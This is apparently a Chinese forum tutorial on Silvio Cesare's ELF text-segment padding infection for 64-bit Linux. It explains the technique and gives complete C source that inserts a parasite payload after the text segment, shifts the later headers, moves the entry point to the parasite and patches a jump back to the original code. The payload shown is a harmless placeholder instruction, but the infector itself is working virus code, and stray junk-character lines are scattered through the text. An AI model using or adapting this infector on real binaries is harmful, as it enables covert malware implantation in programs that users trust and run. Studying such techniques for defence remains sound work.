虽然上世纪九十年代 silvio 就提出了 text 填充感染的方式,但是现在看来也不算过时(菜鸟看法),思路该用的时候还是可以用。text 和 data 段在磁盘上是相互靠着的,但是映射到内存中是按照内存分页进行分配空间,那么就可以在text段后面插入内存页,放置shellcode。
( s+ U5 g3 c! u4 \( W
2 I1 A/ @5 Y$ ]& G+ D8 m原理:
1 x) J8 \5 ]; P9 `; u2 H5 M 原理比较简单,就是在两个段间的内存页插入shellcode。 但是有所限制,32位linux只有 4096 B大小的空间可以利用,64位可以使用2MB。另外 shellcode必须是独立的程序,每一次注入都会涉及到地址改变,所以如果有动态链接库使用等都会有所干扰。加入shell之后还需要跳回原位置执行。
9 U- S$ ]+ R( P3 u$ B设计:
; R8 H! K( f# L& x, w; e, l, ^) f6 }6 R! o 打开文件,获得宿主程序的大小等:+ S8 A9 m7 X/ n. R
- fd = open ("./elf1", O_RDONLY);
- stat("./elf1",&statbuf);
- int size = statbuf.st_size; //文件大小
- char dest[size];
- c = read (fd, dest, size);
可以使用struct stat获得文件属性,相关参数参考: n4 ~% j+ Y- ]! [0 V' l6 K/ F6 J) v
- struct stat
- {
- dev_t st_dev; /* ID of device containing file -文件所在设备的ID*/
- ino_t st_ino; /* inode number -inode节点号*/
- mode_t st_mode; /* protection -保护模式?*/
- nlink_t st_nlink; /* number of hard links -链向此文件的连接数(硬连接)*/
- uid_t st_uid; /* user ID of owner -user id*/
- gid_t st_gid; /* group ID of owner - group id*/
- dev_t st_rdev; /* device ID (if special file) -设备号,针对设备文件*/
- off_t st_size; /* total size, in bytes -文件大小,字节为单位*/
- blksize_t st_blksize; /* blocksize for filesystem I/O -系统块的大小*/
- blkcnt_t st_blocks; /* number of blocks allocated -文件所占块数*/
- time_t st_atime; /* time of last access -最近存取时间*/
- time_t st_mtime; /* time of last modification -最近修改时间*/
- time_t st_ctime; /* time of last status change - */
- }; _stat结构体是文件(夹)信息的结构体,定义如下:以上信息就是可以通过_stat函数获取的所有相关信息,一般情况下,我们关心文件大小和创建时间、访问时间、修改时间。
获得文件格式,在section后增加一个内存页。将ELF文件头结构体中的ehdr->e_shoff属性增加PAGE_SIZE大小。e_shoff是节头表偏移,如果二进制文件有节头表,节头表在文件格式布局的底部,向上紧挨着的就是每个节(段)的内容,寄生代码注入到了text段后面,即被注入到text段中最后一个节的后面,这样让后面剩余节内容、节头表都想后移动一个内存页的大小,注意pagesize的大小根据操作系统位数更改。
7 c( D2 g S+ j/ ~& J- Elf64_Addr old_e_entry; //之前elf文件入口点位置
- Elf64_Addr o_text_filesz;
- Elf64_Addr parasite_vaddr;
- uint64_t end_of_text;
- int found_text;
- uint8_t *mem = (uint8_t *)base; //base是程序开始位置
- uint8_t *parasite = (uint8_t *)payload;
- //获得文件几个重要数据,区段位置,program头偏移
- Elf64_Ehdr *ehdr = (Elf64_Ehdr *)mem;
- Elf64_Phdr *phdr = (Elf64_Phdr *)&mem[ehdr->e_phoff];
- Elf64_Shdr *shdr = (Elf64_Shdr *)&mem[ehdr->e_shoff];
- ehdr->e_shoff += PAGE_SIZE; //section段加一个内存页放置shellcode
插入shell之后的 所有节表头都向后移动内存页。将 phdr[TEXT].p_filesz 增加寄生代码的长度值。将 phdr[TEXT].p_memsz 增加寄生代码的长度值。对每个 phdr,如果对应的段位于寄生代码之后,则将 phdr[x].p_offset 增加PAGE_SIZE 大小的字节。
7 h: l# @. c- h t* S- int i, j;
- for (found_text = 0, i = 0; i < ehdr->e_phnum; i++) {
-
- if (phdr[i].p_type == PT_LOAD) {
- if (phdr[i].p_offset == 0) {
- o_text_filesz = phdr[i].p_filesz;
- end_of_text = phdr[i].p_offset + phdr[i].p_filesz;
- parasite_vaddr = phdr[i].p_vaddr + o_text_filesz;
- old_e_entry = ehdr->e_entry;
- ehdr->e_entry = parasite_vaddr;
- phdr[i].p_filesz += payload_len;
- phdr[i].p_memsz += payload_len;
- //遍歷每個 phdr, 后面加上 一个內存頁大小
- for (j = i + 1; j < ehdr->e_phnum; j++)
- if (phdr[j].p_offset > phdr[i].p_offset + o_text_filesz)
- phdr[j].p_offset += PAGE_SIZE;
- //phdr[j].p_offset += payload_len;
- }
- break;
- }
- }
找到 text 段的最后一个 shdr,将 shdr[x].sh_size 增加寄生代码的长度值,对每个位于寄生代码插入位置之后的 shdr,将 shdr[x].sh_offset增加 PAGE_SIZE 的大小值。将真正的寄生代码插入到 text 段的 file_base + phdr[TEXT].p_filesz。
* j, D9 _! O: s9 u4 v- for (i = 0; i < ehdr->e_shnum; i++) {
- if (shdr[i].sh_addr > parasite_vaddr)
- shdr[i].sh_offset += PAGE_SIZE;
- //shdr[i].sh_offset += payload_len;
- else
- if (shdr[i].sh_addr + shdr[i].sh_size == parasite_vaddr)
- shdr[i].sh_size += payload_len;
- }
- ofd = open(TMP, O_CREAT | O_WRONLY | O_TRUNC,S_IRUSR|S_IXUSR|S_IWUSR);
- //写入原始text段(包含文件头到text段尾部)
- ret = write (ofd, mem, end_of_text);
- *(uint32_t *) ¶site[jmp_code_offset] = old_e_entry; //跳回原入口點
- write (ofd, parasite, psize);
- lseek (ofd, PAGE_SIZE - psize, SEEK_CUR);
- mem += end_of_text;
- unsigned int sum = end_of_text + PAGE_SIZE;
- unsigned int last_chunk = hsize - end_of_text;
- write (ofd, mem, last_chunk);
- close (ofd);
以下是全部源码:
# s7 T" Y5 H. `8 l* T. m& T- #include <stdio.h>
- #include "elf.h"
- #include <sys/stat.h>
- #include <fcntl.h>
- #include <string.h>
- #include <unistd.h>
-
- #define PAGE_SIZE 4096*3
- //#define PAGE_SIZE 200000
- #define TMP "elf2"
- #define JMP_PATCH_OFFSET 1
-
- char shellcode[] = "\x33\xC0"; //xor eax,eax
-
- /*
- hosts_name : 宿主程序
- psize: shell 長度
- hsize: 宿主大小
- men:宿主內存映射地址
- end_of_text: 修改之後的text結尾處
- parasite: shell 入口
- jmp_code_offset:插入shell的偏移大小,方便後面跳回來。
- old_e_entry:宿主程序入口點
- */
- void insert_shellcode(char *hosts_name, size_t psize, size_t hsize,uint8_t *mem, size_t end_of_text, uint8_t *parasite, uint32_t jmp_code_offset, Elf64_Addr old_e_entry)
- {
- int ofd;
- unsigned int c;
- int i, t = 0;
- int ret;
-
- ofd = open(TMP, O_CREAT | O_WRONLY | O_TRUNC,S_IRUSR|S_IXUSR|S_IWUSR);
- //写入原始text段(包含文件头到text段尾部)
- ret = write (ofd, mem, end_of_text);
- *(uint32_t *) ¶site[jmp_code_offset] = old_e_entry; //跳回原入口點
- write (ofd, parasite, psize);
- lseek (ofd, PAGE_SIZE - psize, SEEK_CUR);
- mem += end_of_text;
- unsigned int sum = end_of_text + PAGE_SIZE;
- unsigned int last_chunk = hsize - end_of_text;
- write (ofd, mem, last_chunk);
- close (ofd);
- }
-
- int silvio_text_infect(char* host, void* base, void* payload, size_t payload_len) //host 宿主程序
- {
- //調整elf文件頭
- Elf64_Addr old_e_entry; //之前elf文件入口点位置
- Elf64_Addr o_text_filesz;
- Elf64_Addr parasite_vaddr;
- uint64_t end_of_text;
- int found_text;
- uint8_t *mem = (uint8_t *)base; //base是程序开始位置
- uint8_t *parasite = (uint8_t *)payload;
- //获得文件几个重要数据,区段位置,program头偏移
- Elf64_Ehdr *ehdr = (Elf64_Ehdr *)mem;
- Elf64_Phdr *phdr = (Elf64_Phdr *)&mem[ehdr->e_phoff];
- Elf64_Shdr *shdr = (Elf64_Shdr *)&mem[ehdr->e_shoff];
- ehdr->e_shoff += PAGE_SIZE; //section段加一个内存页放置shellcode
- struct stat statbuf;
-
- //調整program header
- int i, j;
- for (found_text = 0, i = 0; i < ehdr->e_phnum; i++) {
-
- if (phdr[i].p_type == PT_LOAD) {
- if (phdr[i].p_offset == 0) {
- o_text_filesz = phdr[i].p_filesz;
- end_of_text = phdr[i].p_offset + phdr[i].p_filesz;
- parasite_vaddr = phdr[i].p_vaddr + o_text_filesz;
- old_e_entry = ehdr->e_entry;
- ehdr->e_entry = parasite_vaddr;
- phdr[i].p_filesz += payload_len;
- phdr[i].p_memsz += payload_len;
- //遍歷每個 phdr, 后面加上 一个內存頁大小
- for (j = i + 1; j < ehdr->e_phnum; j++)
- if (phdr[j].p_offset > phdr[i].p_offset + o_text_filesz)
- phdr[j].p_offset += PAGE_SIZE;
- //phdr[j].p_offset += payload_len;
- }
- break;
- }
- }
- //對插入shell之後的section 偏移位置加上 pagesize
- for (i = 0; i < ehdr->e_shnum; i++) {
- if (shdr[i].sh_addr > parasite_vaddr)
- shdr[i].sh_offset += PAGE_SIZE;
- //shdr[i].sh_offset += payload_len;
- else
- if (shdr[i].sh_addr + shdr[i].sh_size == parasite_vaddr)
- shdr[i].sh_size += payload_len;
- }
- stat(host,&statbuf);
- int size = statbuf.st_size;
-
- insert_shellcode(host, payload_len, size, base, end_of_text, parasite, JMP_PATCH_OFFSET, old_e_entry);
- return 0;
-
- }
-
- int main(){
- FILE *file;
- int fd, i, c;
- struct stat statbuf; //获取linux文件属性
- fd = open ("./elf1", O_RDONLY);
- stat("./elf1",&statbuf);
- int size = statbuf.st_size; //文件大小
- char dest[size];
- c = read (fd, dest, size);
- silvio_text_infect("./elf1", dest, shellcode, sizeof(shellcode));
- return 0;
- }
4 J& @2 t8 }5 J3 ]( T
; e9 r3 [0 S6 \' F# N* j& z/ k |